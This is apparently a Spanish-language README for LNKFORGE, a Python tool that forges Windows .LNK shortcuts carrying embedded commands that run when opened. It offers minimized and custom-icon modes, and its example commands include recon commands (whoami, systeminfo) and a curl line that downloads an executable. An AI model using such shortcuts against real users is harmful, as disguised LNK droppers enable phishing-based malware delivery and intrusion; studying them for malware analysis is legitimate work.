🎯 LNKFORGE: Generador de accesos directos .LNK con payloads embebidos
💡 ¿Qué es LNKFORGE?
LNKFORGE es una herramienta desarrollada para generar archivos LNK (accesos directos de Windows) con comandos embebidos, sin necesidad de utilizar
Wine, entornos Windows ni librerías externas. Su principal objetivo es modificar la estructura interna de un .LNK codificado en
Base64, para inyectar comandos personalizados que se ejecutarán al abrir el acceso directo.
🔧 El script es completamente multiplataforma y puede ejecutarse en:
- ✅ Windows
- ✅ Linux
- ✅ Termux (Android)
📦 Instalación
No hay dependencias externas requeridas, solo necesitas tener
Python 3 instalado.
git clone https://github.com/IND4RKHK/lnkforge.git
cd lnkforge
python lnkforge.py
📁 ¿Cómo funciona?
LNKFORGE se basa en la edición de un archivo .LNK
codificado en base64, insertando un bloque de comandos UTF-16BE codificados también en base64. Esto se hace de manera quirúrgica para no corromper la estructura del .LNK
.
📌 Estructura interna y conceptos clave:
- 🧬b64_extra_bytes: Contiene el relleno de bytes " =============== " codificado en base64 (UTF-16BE). Este relleno define el "espacio disponible" en el .LNK para los comandos embebidos.
- 🛠 check_len_or_save(): Función encargada de codificar los comandos a UTF-16BE y luego a base64, devolviendo su longitud o el texto listo para ser insertado.
- 📜modular_lnk.b64: Archivo base que contiene las versiones originales del .LNK en diferentes modos:
normal
minimal
normal-icon
minimal-icon
- 🧩 El script detecta automáticamente si el payload sobrepasa el límite de espacio disponible en el .LNK
y recorta el último comando ingresado para garantizar integridad.
✍️ Uso paso a paso
python lnkforge.py
- ✨ Escribe comandos como
ls
whoami
systeminfo
curl https://example.com/file.x -o example.exe
- 💬 Usa los comandos especiales para cambiar el modo:
minimal
➡️ Ejecuta en modo minimizado.minimal-icon
➡️ Minimizado + icono personalizado.normal
➡️ Ejecuta en primer plano.normal-icon
➡️ Primer plano + icono.
- 🧠 El script calcula el tamaño del payload y corta automáticamente si te excedes.
- 💾 Se genera un archivo .LNK con fecha automática en su nombre, listo para ser ejecutado.
🚀 Ejemplo práctico
cmd_lnk_executor >> whoami
cmd_lnk_executor >> ipconfig
cmd_lnk_executor >> exit
📁 Se generará un archivo
lnk_forged_2025-11-20.lnk
con los comandos embebidos.
🧪 Detalles técnicos
- Se utiliza codificación UTF-16BE para garantizar compatibilidad con PowerShell.
- Se reconstruye el .LNK a partir del archivo base .b64, eliminando saltos de línea y ajustando los caracteres "=" para una decodificación correcta.
- El límite actual de bytes embebidos está determinado por la estructura original del .LNK.
- El script incluye un relleno suficientemente grande para permitir payloads medianos-grandes (~270 bytes).
🧠 Conclusiones
Esta herramienta demuestra cómo es posible modificar accesos directos .LNK a bajo nivel sin interfaces gráficas ni dependencias externas. Ideal para pruebas de ingeniería inversa, ofuscación o entrenamiento en análisis de malware.
🛡�
Úsese con fines educativos y éticos.
📎 Repositorio: 👉 https://github.com/IND4RKHK/lnkforge.git(https://repository-images.githubusercontent.com/963398358/850600df-af13-4d69-8c81-0d4312082eed) (https://github.com/IND4RKHK/lnkforge.git)